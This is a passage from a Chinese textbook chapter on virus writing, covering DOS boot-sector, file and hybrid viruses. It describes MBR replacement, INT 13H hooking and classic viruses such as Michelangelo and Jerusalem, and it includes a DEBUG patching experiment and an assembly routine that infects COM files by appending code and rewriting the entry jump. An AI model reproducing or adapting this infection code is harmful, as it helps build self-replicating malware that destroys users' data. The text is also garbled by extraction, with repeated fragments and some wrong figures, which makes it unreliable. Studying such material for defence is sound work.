版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
第7章計(jì)算機(jī)病毒編制關(guān)鍵技術(shù)
及典型計(jì)算機(jī)病毒7.1DOS病毒分析7.2Windows病毒分析7.3網(wǎng)絡(luò)病毒分析7.4宏病毒分析7.5木馬病毒分析7.6手機(jī)(GSM)病毒分析習(xí)題第7章計(jì)算機(jī)病毒編制關(guān)鍵技術(shù)
及典型計(jì)算機(jī)病毒7.1引導(dǎo)型病毒是指病毒侵入系統(tǒng)引導(dǎo)區(qū),從而引發(fā)破壞行為的一種病毒特性。DOS啟動(dòng)時(shí),絕大多數(shù)引導(dǎo)型病毒感染硬盤主引導(dǎo)扇區(qū)和DOS引導(dǎo)扇區(qū)。7.1DOS病毒分析
7.1.1引導(dǎo)型病毒引導(dǎo)型病毒是指病毒侵入系統(tǒng)引導(dǎo)區(qū),從而引發(fā)破壞行為的一種病毒1.DOS下的磁盤引導(dǎo)區(qū)結(jié)構(gòu)在DOS操作系統(tǒng)控制下,磁盤引導(dǎo)區(qū)一般由3部分組成:主引導(dǎo)記錄(MainBootRecord)、磁盤分區(qū)表(DiskPartitionTable,PDT)和主引導(dǎo)記錄有效標(biāo)志字。(1)硬盤的主引導(dǎo)記錄結(jié)構(gòu)主引導(dǎo)記錄結(jié)構(gòu)如表7.1(見書178頁)所示。1.DOS下的磁盤引導(dǎo)區(qū)結(jié)構(gòu)分區(qū)表自偏移1BEH處開始,共64個(gè)字節(jié),每16個(gè)字節(jié)為一個(gè)分區(qū)說明項(xiàng),存放分區(qū)結(jié)構(gòu)信息,因此表中可填入4個(gè)分區(qū)信息。硬盤主引導(dǎo)記錄程序存放在分區(qū)表的0000H~00D9H處,它的功能是讀出自舉分區(qū)的Boot程序,并把控制轉(zhuǎn)移到分區(qū)Boot程序。程序流程如下:①將本來讀入到0000:7C00H處的硬盤主引導(dǎo)記錄程序移至0000:61BH處;②順序讀入4個(gè)分區(qū)表的自舉標(biāo)志,以找出自舉分區(qū),若找不到,轉(zhuǎn)而執(zhí)行INT18H的Boot異常執(zhí)行中斷程序;分區(qū)表自偏移1BEH處開始,共64個(gè)字節(jié),每16個(gè)字節(jié)為一個(gè)③找到自舉分區(qū)后,檢測(cè)該分區(qū)的系統(tǒng)標(biāo)志,若為32位FAT表或16位FAT表但支持13號(hào)中斷的擴(kuò)展功能,就轉(zhuǎn)到執(zhí)行13號(hào)中斷的41號(hào)功能調(diào)用進(jìn)行安裝檢驗(yàn),檢驗(yàn)成功,就執(zhí)行42號(hào)擴(kuò)展讀功能調(diào)用把Boot區(qū)程序讀入到內(nèi)存0000:7C00H處,成功,跳到第⑤步,若讀失敗或系統(tǒng)標(biāo)志為其他,就調(diào)用13號(hào)中斷的讀扇區(qū)功能調(diào)用把Boot讀到0000:7C00H;③找到自舉分區(qū)后,檢測(cè)該分區(qū)的系統(tǒng)標(biāo)志,若為32位FAT表④用13號(hào)中斷的讀扇區(qū)功能時(shí),用兩種方式分別進(jìn)行5次試讀。第一種方式是直接從自舉分區(qū)的頭扇區(qū)讀入Boot程序,若讀成功,但結(jié)束標(biāo)志不是55AA,則改用第二種方式,又如果用第一種方式試讀5次均不成功,就改用第二種方式。若兩種方式試讀均失敗,就轉(zhuǎn)到出錯(cuò)處理程序;⑤讀入Boot區(qū)程序成功,轉(zhuǎn)至0000:7C00H處執(zhí)行Boot程序。④用13號(hào)中斷的讀扇區(qū)功能時(shí),用兩種方式分別進(jìn)行5次試讀。(2)分區(qū)表結(jié)構(gòu)分區(qū)表占據(jù)偏移地址1BEH~01FDH范圍的空間,共64B,每16B為一個(gè)分區(qū)說明項(xiàng),存放分區(qū)結(jié)構(gòu)信息,如表7.2(見書179頁)所示。①每一個(gè)分區(qū)表中擴(kuò)展分區(qū)說明項(xiàng)實(shí)際上指示下一個(gè)分區(qū)表的位置(簇、磁頭號(hào)、扇區(qū)號(hào))。最后一個(gè)分區(qū)表沒有擴(kuò)展分區(qū)說明項(xiàng)。②每一個(gè)分區(qū)表都會(huì)有一個(gè)實(shí)際分區(qū)說明項(xiàng),也就是對(duì)邏輯盤的實(shí)際起始、終止位置進(jìn)行說明。③除邏輯盤主引導(dǎo)記錄及分區(qū)表共占用一個(gè)扇區(qū),其他分區(qū)表則各占一個(gè)扇區(qū),自該扇區(qū)01BEH處開始,以55AAH結(jié)束。(2)分區(qū)表結(jié)構(gòu)2.引導(dǎo)型病毒的運(yùn)行機(jī)制引導(dǎo)型病毒是把原來的主引導(dǎo)記錄保存后用自己的程序替代掉原來的主引導(dǎo)記錄。啟動(dòng)時(shí),當(dāng)病毒體得到控制權(quán),在做完了處理后,病毒將保存的原主引導(dǎo)記錄讀入0000:7C00H處,然后將控制權(quán)交給原主引導(dǎo)記錄進(jìn)行啟動(dòng)。這類病毒的感染途徑是通過磁盤操作引起的。例如,當(dāng)用一個(gè)染毒的系統(tǒng)軟盤啟動(dòng)計(jì)算機(jī)時(shí),就有可能將病毒傳染給硬盤,從而引起硬盤引導(dǎo)區(qū)染毒;同樣,當(dāng)某軟盤在一臺(tái)染毒的計(jì)算機(jī)上運(yùn)行時(shí),硬盤上的病毒就可能感染軟盤。2.引導(dǎo)型病毒的運(yùn)行機(jī)制因此,引導(dǎo)型病毒能否成功運(yùn)行的關(guān)鍵技術(shù)涉及有以下幾個(gè)方面:保存主引導(dǎo)記錄、調(diào)用BIOS磁盤服務(wù)功能、尋找病毒感染途徑和病毒駐留位置。(1)保存原始主引導(dǎo)記錄眾所周知,文件型病毒用以保存被感染修改的部分是文件。引導(dǎo)型病毒是否也可以使用文件存儲(chǔ)被覆蓋的引導(dǎo)記錄呢?答案是否定的。由于主引導(dǎo)記錄病毒先于操作系統(tǒng)執(zhí)行,因而不能使用操作系統(tǒng)的功能調(diào)用,而只能使用BIOS的功能調(diào)用或者使用直接的I/O設(shè)計(jì)。一般使用BIOS的磁盤服務(wù)將主引導(dǎo)記錄保存于絕對(duì)的扇區(qū)內(nèi)。由于0道0面2扇區(qū)是保留扇區(qū),因而通常使用它來保存。因此,引導(dǎo)型病毒能否成功運(yùn)行的關(guān)鍵技術(shù)涉及有以下幾個(gè)方面:保(2)BIOS磁盤服務(wù)功能的調(diào)用在引導(dǎo)型病毒的程序代碼中,常常會(huì)用到BIOS磁盤服務(wù)功能的調(diào)用,INT13H中斷調(diào)用子功能02H、03H能進(jìn)行磁盤讀寫操作,因此,常被病毒代碼利用。利用INT13H子功能02H調(diào)用讀扇區(qū)入口為:AH=02H,AL=讀入的扇區(qū)數(shù),CH=磁道號(hào),CL=扇區(qū)號(hào)(從1開始),DH=頭號(hào),DL=物理驅(qū)動(dòng)器號(hào),ES:BX->要填充的緩沖區(qū);返回值為:當(dāng)CF置位時(shí)表示調(diào)用失敗,AH=狀態(tài),AL=實(shí)際讀入的扇區(qū)數(shù)。(2)BIOS磁盤服務(wù)功能的調(diào)用利用INT13H子功能03H調(diào)用寫扇區(qū)入口為:AH=03H,AL=寫入的扇區(qū)數(shù),CH=磁道號(hào),CL=扇區(qū)號(hào)(從1開始),DH=頭號(hào),DL=物理驅(qū)動(dòng)器號(hào),ES:BX->緩沖區(qū);返回值為:當(dāng)CF置位時(shí)表示調(diào)用失敗,AH=狀態(tài),AL=實(shí)際寫入的扇區(qū)數(shù)。(3)病毒感染途徑通常這類病毒通過截獲中斷向量INT13H進(jìn)行系統(tǒng)監(jiān)控。當(dāng)存在有關(guān)于軟盤或硬盤的磁盤讀寫時(shí),病毒將檢測(cè)其是否干凈,若尚未感染則感染之。利用INT13H子功能03H調(diào)用寫扇區(qū)入口為:AH=03H(4)駐留位置通常病毒通過修改基本內(nèi)存的大小來獲取自己駐留的空間。基本內(nèi)存大小的存儲(chǔ)位置在40H:13H,單位為KB。病毒體存在于最后的一點(diǎn)內(nèi)存中。(4)駐留位置3.典型的引導(dǎo)型病毒(1)病毒名:DiskKiller病毒別名:磁盤殺手特征代碼:C310E2F2C606F301FF90EB55病毒長(zhǎng)度:520B病毒特征:感染Boot扇區(qū),當(dāng)用染有該病毒的軟盤啟動(dòng)系統(tǒng)時(shí),病毒進(jìn)入內(nèi)存,并感染硬盤。當(dāng)進(jìn)行I/O操作時(shí),病毒會(huì)感染其他軟盤。3.典型的引導(dǎo)型病毒當(dāng)病毒侵入軟盤時(shí),除感染軟盤Boot扇區(qū)外,額外占用3個(gè)簇,并將其在FAT表中標(biāo)為壞簇。病毒編寫者此時(shí)犯了一個(gè)錯(cuò)誤,即將病毒占用的3個(gè)簇相鄰的一個(gè)簇也標(biāo)為壞簇了。當(dāng)病毒侵入硬盤時(shí),除感染硬盤Boot扇區(qū)外,還將自身隱藏在0柱0面0道的最后5個(gè)扇區(qū)中。在某些硬盤中這些扇區(qū)屬于保留扇區(qū),受到系統(tǒng)的保護(hù),用DEBUG的L命令不可能看到它們,必須用DEBUG的A命令編寫一段匯編程序才能看到。當(dāng)病毒侵入軟盤時(shí),除感染軟盤Boot扇區(qū)外,額外占用3個(gè)簇,在計(jì)算機(jī)內(nèi)部,病毒占用了INT8,設(shè)置了內(nèi)部計(jì)數(shù)器。對(duì)計(jì)算機(jī)每秒13.2s的時(shí)鐘中斷進(jìn)行計(jì)數(shù)。當(dāng)計(jì)數(shù)值達(dá)到300000H(也即3145728/18.2=172842s,約合48h)時(shí),病毒被觸發(fā)。這時(shí),鍵盤死鎖,一些雜亂數(shù)據(jù)被寫入硬盤,直至全部數(shù)據(jù)被毀壞為止。該病毒在I/O操作時(shí),會(huì)隨時(shí)將計(jì)數(shù)器的值寫入硬盤保存起來。由于計(jì)數(shù)器的值被保存在硬盤中,病毒可以對(duì)工作時(shí)間進(jìn)行累計(jì)。達(dá)到預(yù)定時(shí)間,病毒引爆。在計(jì)算機(jī)內(nèi)部,病毒占用了INT8,設(shè)置了內(nèi)部計(jì)數(shù)器。對(duì)計(jì)算機(jī)(2)病毒名:Michelangelo病毒別名:米開朗基羅特征代碼:33C9B404CD1A81FA06037401CB33D2B90100B8D9病毒長(zhǎng)度:430B病毒特征:每年3月6日(意大利畫家米開朗基羅的生日)發(fā)作,病毒盤啟動(dòng)后,內(nèi)存總量減少1KB。該病毒占用中斷INT13H,對(duì)硬盤而言,將原主引導(dǎo)扇區(qū)寫入0柱0頭7扇區(qū);對(duì)軟盤來說,若為360KB軟盤,則將Boot扇區(qū)寫入0道1頭3扇區(qū),對(duì)1.2MB、1.4MB軟盤,則將原Boot扇區(qū)寫入0道1頭14扇區(qū)。(2)病毒名:Michelangelo在染毒扇區(qū)的13EH處,有病毒特征碼值:33C9B404CD1A81FA06037401CB33D2B90100B8D9。該病毒用INT1AH的04號(hào)功能,查詢系統(tǒng)日期,當(dāng)日期值為3月6日時(shí),病毒被觸發(fā),病毒發(fā)作時(shí),將磁盤從0道0頭開始,對(duì)0~255個(gè)扇區(qū)全部亂寫;一旦亂寫,無法恢復(fù)。FAT表、目錄全部被破壞。在染毒扇區(qū)的13EH處,有病毒特征碼值:33C9B40(3)病毒名:PingPong病毒別名:小球病毒特征:病毒觸發(fā)后,屏幕上顯示一個(gè)跳動(dòng)的小球,小球碰到屏幕4個(gè)邊緣會(huì)反彈,它對(duì)西文屏幕顯示干擾不大,對(duì)中文屏幕擾亂較大。病毒感染Boot扇區(qū),使用染毒磁盤啟動(dòng)系統(tǒng)時(shí),病毒進(jìn)駐內(nèi)存。病毒可以感染不帶DOS系統(tǒng)的軟盤,用這種染毒盤啟動(dòng)系統(tǒng)時(shí),會(huì)顯示出錯(cuò)信息,要求用戶插入系統(tǒng)盤,此時(shí)病毒已經(jīng)進(jìn)入內(nèi)存,任何插入的清潔的DOS盤片在啟動(dòng)時(shí),都可能受到感染。(3)病毒名:PingPong病毒除占用Boot扇區(qū)外,在磁盤中還占用了一個(gè)空簇,其中一個(gè)扇區(qū)用于存放病毒代碼,另一扇區(qū)保存原Boot扇區(qū)代碼,這個(gè)被病毒占用的串簇被標(biāo)為“壞簇”以防止被操作系統(tǒng)寫入別的數(shù)據(jù)。該病毒不會(huì)攻擊80286、80386CPU的微機(jī),因?yàn)?,病毒中使用的某些代碼在上述微機(jī)中不合法。小球病毒只能在8086和8088CPU的微機(jī)上工作。當(dāng)小球病毒感染80286、80386CPU的微機(jī)時(shí),將會(huì)死機(jī),雖然系統(tǒng)崩潰沒有什么危險(xiǎn),但是個(gè)麻煩。病毒除占用Boot扇區(qū)外,在磁盤中還占用了一個(gè)空簇,其中一個(gè)4.病毒名:Marijuana病毒別名:大麻病毒特征:病毒觸發(fā)后,屏幕上顯示如下信息:“YourPCisnowStone!”感染大麻病毒的軟盤Boot扇區(qū)中,可找到如下字符串:“YourPCisnowStone!”“LEGALISEMARIJUANA!”病毒占用了軟盤的Boot扇區(qū),將原Boot扇區(qū)存放在0道1側(cè)3扇區(qū);對(duì)硬盤而言,病毒占用硬盤的主引導(dǎo)扇區(qū),將原主引扇區(qū)保存在0柱0頭7扇區(qū)。4.病毒名:Marijuana文件型病毒是DOS病毒中的大家族,文件病毒有廣義和狹義之稱。廣義的可執(zhí)行文件病毒包括了通常所說的可執(zhí)行文件病毒、源碼病毒,甚至bat病毒和Word宏病毒,狹義的可執(zhí)行文件病毒即com型和exe型病毒。這里主要介紹com和exe型病毒。7.1.2文件型病毒文件型病毒是DOS病毒中的大家族,文件病毒有廣義和狹義之稱。1.com和exe文件結(jié)構(gòu)(1)com文件結(jié)構(gòu)及原理com文件結(jié)構(gòu)比較簡(jiǎn)單,它包含程序的一個(gè)絕對(duì)映像,即為了運(yùn)行程序準(zhǔn)確的處理器指令和內(nèi)存中的數(shù)據(jù),MS-DOS通過直接把該映像從文件復(fù)制到內(nèi)存,從而加載com程序,而不做任何改變。1.com和exe文件結(jié)構(gòu)為加載一個(gè)com程序,MS-DOS首先試圖分配內(nèi)存,因?yàn)閏om程序必須位于一個(gè)64KB的段中,所以com文件的大小不能超過65024(64KB減去用于PSP的256B和用于一個(gè)起始堆棧的至少256B)。如果MS-DOS不能為程序、一個(gè)PSP、一個(gè)起始堆棧分配足夠內(nèi)存,則分配嘗試失敗。否則,MS-DOS分配盡可能多的內(nèi)存(直至所有保留內(nèi)存),即使com程序本身不能大于64KB。在試圖運(yùn)行另一個(gè)程序或分配另外的內(nèi)存之前,大部分com程序釋放任何不需要的內(nèi)存。為加載一個(gè)com程序,MS-DOS首先試圖分配內(nèi)存,因?yàn)閏o分配內(nèi)存后,MS-DOS在該內(nèi)存的前256B建立一個(gè)PSP,如果PSP中的第一個(gè)FCB含有一個(gè)有效驅(qū)動(dòng)器標(biāo)識(shí)符,則置AL為00H,否則置為0FFH。MS-DOS還置AH為00H或0FFH,這依賴于第二個(gè)FCB是否含有一個(gè)有效驅(qū)動(dòng)器標(biāo)識(shí)符。建造PSP后,MS-DOS在PSP后立即開始(偏移100H)加載com文件,它置SS、DS和ES為PSP的段地址,接著創(chuàng)建一個(gè)堆棧。為創(chuàng)建這個(gè)堆棧,在已分配了至少64KB內(nèi)存的情況下,MS-DOS置SP為0000H;否則,它置寄存器為比所分配的字節(jié)總數(shù)大2的值。最后,將0000H進(jìn)棧。分配內(nèi)存后,MS-DOS在該內(nèi)存的前256B建立一個(gè)PSP,MS-DOS通過把控制傳遞給偏移100H處的指令而啟動(dòng)程序。程序設(shè)計(jì)者必須保證COM文件的第一條指令是程序的入口點(diǎn)。(2)exe文件結(jié)構(gòu)及原理exe文件比較復(fù)雜,屬于一種多段的結(jié)構(gòu),是DOS最成功和復(fù)雜的設(shè)計(jì)之一。要了解exe文件,首先需要了解exe文件的文件頭結(jié)構(gòu)。每個(gè)exe文件包含一個(gè)文件頭和一個(gè)可重定位程序映像。文件頭包含MS-DOS用于加載程序的信息。文件頭還指向一個(gè)重定位表,該表包含指向程序映像中可重定位段地址的指針鏈表。exe文件的文件頭結(jié)構(gòu)如表7.3(見書187頁)所示。MS-DOS通過把控制傳遞給偏移100H處的指令而啟動(dòng)程序。程序映像,包含處理器代碼和程序的初始數(shù)據(jù),緊接在文件頭之后。它的大小以字節(jié)為單位,等于exe文件的大小減去文件頭的大小,也等于exHeaderSize的域的值乘以16。MS-DOS通過把該映像直接從文件復(fù)制到內(nèi)存加載exe程序,然后調(diào)整定位表中說明的可重定位段地址。定位表是一個(gè)重定位指針數(shù)組,每個(gè)指向程序映像中的可重定位段地址。文件頭中的exRelocItems域說明了數(shù)組中指針的個(gè)數(shù),exRelocTable域說明了分配表的起始文件偏移量。每個(gè)重定位指針由兩個(gè)16位值組成:偏移量和段值。程序映像,包含處理器代碼和程序的初始數(shù)據(jù),緊接在文件頭之后。為加載exe程序,MS-DOS首先讀文件頭以確定exe標(biāo)志并計(jì)算程序映像的大小。然后它試圖申請(qǐng)內(nèi)存。首先,它計(jì)算程序映像文件的大小加上PSP的大小再加上EXEHEADER結(jié)構(gòu)中的exMinAlloc域說明的內(nèi)存大小這3者之和。如果總和超過最大可用內(nèi)存塊的大小,則MS-DOS停止加載程序并返回一個(gè)出錯(cuò)值。否則,它計(jì)算程序映像的大小加上PSP的大小再加上EXEHEADER結(jié)構(gòu)中exMaxAlloc域說明的內(nèi)存大小之和,如果第二個(gè)總和小于最大可用內(nèi)存塊的大小,則MS-DOS分配計(jì)算得到的內(nèi)存量。否則,它分配最大可用內(nèi)存塊。為加載exe程序,MS-DOS首先讀文件頭以確定exe標(biāo)志并分配完內(nèi)存后,MS-DOS確定段地址,也稱為起始段地址,MS-DOS從此處加載程序映像。如果exMinAlloc域和exMaxAlloc域中的值都為零,則MS-DOS把映像盡可能地加載到內(nèi)存最高端。否則,它把映像加載到緊挨著PSP域之上。分配完內(nèi)存后,MS-DOS確定段地址,也稱為起始段地址,MS接下來,MS-DOS讀取重定位表中的項(xiàng)目調(diào)整所有由可重定位指針說明的段地址。對(duì)于重定位表中的每個(gè)指針,MS-DOS尋找程序映像中相應(yīng)的可重定位段地址,并把起始段地址加到它之上。一旦調(diào)整完畢,段地址便指向了內(nèi)存中被加載程序的代碼和數(shù)據(jù)段。MS-DOS在所分配內(nèi)存的最低部分建造256B的PSP,把AL和AH設(shè)置為加載com程序時(shí)所設(shè)置的值。MS-DOS使用文件頭中的值設(shè)置SP與SS,調(diào)整SS初始值,把起始地址加到它之上。MS-DOS還把ES和DS設(shè)置為PSP的段地址。最后,MS-DOS從程序文件頭讀取CS和IP的初始值,把起始段地址加到CS之上,把控制轉(zhuǎn)移到位于調(diào)整后地址處的程序。接下來,MS-DOS讀取重定位表中的項(xiàng)目調(diào)整所有由可重定位指2.文件型病毒編制原理文件型病毒的編制方法一般是將病毒程序植入正常程序中或是將病毒程序覆蓋正常程序的部分代碼,以源文件作為病毒程序的載體,將病毒程序隱藏其間。正常情況下,看不出程序有可變化,當(dāng)一定的條件滿足時(shí),病毒發(fā)作,感染和破壞系統(tǒng)。一般作法是利用com或exe文件的文件頭,找到可執(zhí)行文件的入口,將病毒程序安插到程序中,重新設(shè)置或修改文件的起始代碼,并使其能轉(zhuǎn)到病毒程序運(yùn)行。病毒程序代碼一般分為3個(gè)模塊:初始設(shè)置模塊、感染模塊和破壞模塊。下面以com文件為例介紹其病毒編寫方法。2.文件型病毒編制原理文件型病毒要感染com文件有兩種方法,一種是將病毒加載在com文件前部,一種是加在文件尾部。在前部時(shí)原文件的前3B被修改。當(dāng)DOS加載exe文件時(shí),根據(jù)文件頭信息,調(diào)入一定長(zhǎng)度的文件,設(shè)置SS、SP從CS:IP開始執(zhí)行。病毒一般將自己加在文件的末端,并修改CS、IP的值,使其指向病毒起始地址,修改文件長(zhǎng)度信息、SS和SP。com文件是一種單段執(zhí)行結(jié)構(gòu),起源于CPM-86操作系統(tǒng),其執(zhí)行文件代碼和執(zhí)行時(shí)內(nèi)存映像完全相同,起始執(zhí)行偏移地址為100H,對(duì)應(yīng)于文件的偏移是0。文件型病毒要感染com文件有兩種方法,一種是將病毒加載在co(1)病毒編制實(shí)驗(yàn)以com型文件(如DOS6.22英文版中的程序)為例,進(jìn)行如下病毒實(shí)驗(yàn):①利用DEBUG程序,讀出DOS6.22英文版中的程序。代碼如下:C:\>debug-u0CA4:0100B8371E MOV AX,1E37 ;注意前3個(gè)字節(jié)的內(nèi)容(病毒修改的地方)0CA4:0103BA3008 MOV DX,08300CA4:01063BC4 CMP AX,SP0CA4:01087369 JNB 0173(1)病毒編制實(shí)驗(yàn)0CA4:010A8BC4 MOV AX,SP0CA4:010C2D4403 SUB AX,03440CA4:010F90 NOP0CA4:011025F0FF AND AX,FFF00CA4:01138BF8 MOV DI,AX0CA4:0115B9A200 MOV CX,00A20CA4:011890 NOP0CA4:0119BE7E01 MOV SI,017E0CA4:011CFC CLD0CA4:011DF3 REPZ0CA4:011EA5 MOVSW0CA4:011F8BD8 MOVBX,AX-r0CA4:010A8BC4 MOV AX,SPAX=0000BX=0000CX=09F1DX=0000SP=FFFEBP=0000SI=0000DI=0000DS=0CA4ES=0CA4SS=0CA4CS=0CA4IP=0100NVUPEIPLNZNAPONC0CA4:0100B8371EMOVAX,1E37②從0CA4:0AF1處開始,增加一段病毒代碼。-aaf10CA4:0AF1movah,00CA4:0AF3int16 ;等待按鍵0CA4:0AF5cmpa1,1b ;等待按Esc鍵0CA4:0AF7jnzaf10CA4:0AF9movwordptr[100],37b8 ;恢復(fù)程序開始的3個(gè)字節(jié)AX=0000BX=0000CX=09F1DX=0000SP0CA4:0AFFmovbyteptr[102],1e0CA4:0B04pushcs ;進(jìn)棧CS:1000CA4:0B05movsi,1000CA4:0B08pushsi0CA4:0B09retf ;retf回到CS:100,程序開始處0CA4:0B0A③修改原程序0CA4:0100處的值。0CA4:0AFFmovbyteptr[102],1-a1000CA4:0100jmpaf1;將程序開頭改成跳轉(zhuǎn)到修改的模塊0CA4:0103-rcxCX09F1:a0a-wWriting00A0Abytes-q-a100④結(jié)果。程序?qū)懕P退出后,再執(zhí)行more程序,發(fā)現(xiàn)如果不按Esc鍵程序無法執(zhí)行。這是因?yàn)?,首先在源程序的尾部添加了一段程序(相?dāng)于病毒模塊),該程序是等待接受鍵盤輸入,當(dāng)鍵盤輸入Esc時(shí),恢復(fù)源程序并返回執(zhí)行源程序;然后將源程序開始處的指令修改成無條件跳轉(zhuǎn)到所添加程序的開始位置,所以,當(dāng)程序啟動(dòng)后,直接轉(zhuǎn)去執(zhí)行所添加的程序段。④結(jié)果。程序?qū)懕P退出后,再執(zhí)行more程序,發(fā)現(xiàn)如果不按E(2)com文件型病毒運(yùn)行機(jī)制感染com文件的典型做法是在源文件的尾部增加一段病毒代碼,并將源文件的起始指令修改為無條件跳轉(zhuǎn)到病毒代碼開始處,頭結(jié)構(gòu)部分如下:cs:0100jmpendoffile ;db0e9h ;dwsizeofcomfile...endoffile:virusstart: viruscode movax,orgcode mov[100],ax(2)com文件型病毒運(yùn)行機(jī)制 moval,[orgcode+2] mov[102],alvirussize=$-virusstartresume: jmp100 ;db0e9h ;dw-(sizeofcom+virussize) orgcodedb3dup(?) ;源文件由0100開始的3個(gè)字節(jié)感染文件,先將開始的3字節(jié)保存在orgcode中,然后更改為0e9h,sizeofcomfile。將resume開始的3字節(jié)改為0e9h,–(sizeofcom+virussize)。將病毒寫入com文件的末尾。 moval,[orgcode+2]完整的感染代碼還需要有已感染的判斷和文件大小的判斷,如下介紹:假設(shè)DS:DX指向文件名VirusSize,VirusStart的定義如上,并做以下的修改:保存開始的4個(gè)字節(jié)db90h,0E9hdwsizeofcom替換,以0E990h為感染標(biāo)記...movax,3d01hint21h ;openforr/w
jcOpenError完整的感染代碼還需要有已感染的判斷和文件大小的判斷,如下介紹pushdxxchgax,bxmovax,4202hxorcx,cxxordx,dxint21h ;seektoendordx,dxjnzcomplete ;filelargerthan64k,donotinfectcmpax,0FEEEh-VirusSize-11jnbcomplete;comfiletoolargeforinfectcmpax,4Jbcomplete ;filelessthan4bytes,donotinfectedpushdxmovdi,offsetorgcodemov[di+6],axadd[di+6],VirusSize;generatecodetoreplacemovax,4200hxorcx,cxxordx,dxint21h ;seektobeginmovcx,4movdx,dimovah,3fhint21h ;read4bytesmovdi,offsetorgcode jccomplete cmpwordptr[di],0E990h ;ifhasbeeninfected,shouldbe ;nop ;jmpXXXXjzcompletemovcx,4adddx,cxmovah,40hint21h ;write4bytetothebeginning movax,4202h xorcx,cx xordx,dx int21h ;seektoend jccomplete movah,40h movdx,VirusStart movcx,VirusSize+11 int21h ;writeVirusCodetoCOMcomplete: movah,3fh int21h ;closefileErrorOpen:... movah,40h3.典型的文件型病毒(1)Vienna病毒病毒別名:維也納感染類型:com文件病毒特征:病毒運(yùn)行時(shí),首先在當(dāng)前文件目錄或搜索路徑的一個(gè)目錄中,尋找第一個(gè)未被感染的com文件,并對(duì)其進(jìn)行感染。受感染的com文件長(zhǎng)度增加648B。3.典型的文件型病毒感染com文件時(shí),在宿主程序的開始3個(gè)字節(jié)放置一條JMP命令,病毒代碼放置在宿主程序的尾部。用程序開頭處的JMP命令跳向病毒代碼,使病毒代碼在宿主程序之前獲得運(yùn)行權(quán)。該病毒每次運(yùn)行都企圖感染一個(gè)com文件,如果被感染的磁盤上貼有寫保護(hù)標(biāo)簽時(shí),屏幕上顯示報(bào)警信息:“WriteprotecterrorWritingdrivex”。感染com文件時(shí),在宿主程序的開始3個(gè)字節(jié)放置一條JMP命令(2)1701/1704-B病毒別名:雨點(diǎn)感染類型:com文件病毒特征:被感染的宿主程序開始處3B放置一條JMP命令。病毒代碼放在宿主程序的后部。感染后,文件增長(zhǎng)1701B或1704B。病毒中含有682B的密碼。宿主程序開始處原來的3B被隱藏在密碼中,靜態(tài)時(shí),不能找出宿主程序開始處的原來的3B信息,雖然密碼算法很簡(jiǎn)單,但為病毒的治療設(shè)置了障礙。(2)1701/1704-B(3)Jerusalem病毒別名:耶路撒冷、以色列、猶太人、1813、黑色星期五感染類型:com文件、exe文件、ovl文件病毒特征:對(duì)com文件做單次感染,病毒代碼放在com文件的頭部。對(duì)exe文件做重復(fù)感染,可使exe文件在重復(fù)感染中不斷膨脹,占據(jù)大量磁盤空間。病毒感染exe文件時(shí),病毒代碼貼附在exe文件的尾部。病毒中有一個(gè)毀滅性模塊,可以使計(jì)算機(jī)內(nèi)部數(shù)據(jù)亂移,并有能力破壞AT機(jī)中由電池供電的CMOSRAM區(qū)的信息。(3)Jerusalem(4)病毒名:YankeeDoodle病毒別名:楊基歌感染類型:每一個(gè)可執(zhí)行文件病毒長(zhǎng)度:2890+(0~15)B病毒特征:利用內(nèi)存控制塊MCB常駐內(nèi)存;病毒進(jìn)駐內(nèi)存以后,感染每一個(gè)可執(zhí)行文件;在時(shí)間為17:00時(shí),如果病毒已常駐內(nèi)存,將演奏楊基歌。(4)病毒名:YankeeDoodle(5)病毒名:4096病毒(100年)病毒別名:100年病毒長(zhǎng)度:4096B病毒特征:病毒將自身藏在內(nèi)存高端,它明明占用了內(nèi)存區(qū),可是當(dāng)BIOS檢查內(nèi)存容量時(shí),卻不能發(fā)現(xiàn)病毒占用了內(nèi)存空間。受感染的文件頭部被病毒篡改,如果病毒進(jìn)駐內(nèi)存時(shí)用戶查看文件頭部數(shù)據(jù),病毒將保存在別處的源文件頭部顯示給用戶,使之不能覺察。(5)病毒名:4096病毒(100年)受感染的文件長(zhǎng)度增加4KB,病毒在文件目錄中做了標(biāo)記。執(zhí)行MR命令時(shí),病毒能識(shí)別哪些文件是感染過的,在顯示該文件有關(guān)信息時(shí),能把病毒修改過的文件長(zhǎng)度、日期、文件頭部隱藏起來,把正確的原數(shù)值顯示給用戶看。該病毒含有密碼,并且使用了高超的反動(dòng)態(tài)跟蹤技巧。病毒編寫時(shí),作者犯了一個(gè)錯(cuò)誤,它忘記把文件年份、文件長(zhǎng)度寫入文件目錄,從而嚴(yán)重?fù)p壞文件。受感染的文件長(zhǎng)度增加4KB,病毒在文件目錄中做了標(biāo)記。執(zhí)行M所謂混合型病毒,即既能感染引導(dǎo)區(qū),又能感染文件的病毒。但并非將文件型病毒和引導(dǎo)型病毒簡(jiǎn)單的疊加在一起,其中有一個(gè)轉(zhuǎn)換過程,這是最關(guān)鍵的。一般采取以下方法:在文件中的病毒執(zhí)行時(shí)將病毒寫入引導(dǎo)區(qū),這是很容易理解的。染毒硬盤啟動(dòng)時(shí),用引導(dǎo)型病毒的方法駐留內(nèi)存,但此時(shí)DOS并未加載,無法修改INT21中斷,也就無法感染文件,可以用這樣的辦法,修改INT8中斷,保存INT21中斷目前的地址,用INT8中斷服務(wù)程序監(jiān)測(cè)INT21中斷的地址是否改變,若改變則說明DOS已加載,則可修改INT21中斷指向病毒傳染段。以上是混合型病毒關(guān)鍵之處。7.1.3混合型病毒所謂混合型病毒,即既能感染引導(dǎo)區(qū),又能感染文件的病毒。但并非主要指針對(duì)Windows9x操作系統(tǒng)的病毒?,F(xiàn)在的計(jì)算機(jī)用戶一般都安裝Windows操作系統(tǒng)。Windows病毒一般感染W(wǎng)indows9x系統(tǒng),其中最典型的病毒有CIH病毒。但這并不意味著可以忽略系統(tǒng)是WindowsNT系列包括Windows2000的計(jì)算機(jī)。一些Windows病毒不僅在Windows9x上正常感染,還可以感染W(wǎng)indowsNT上的其他文件。主要感染的文件擴(kuò)展名為exe、scr、dll、ocx等。7.2Windows病毒分析
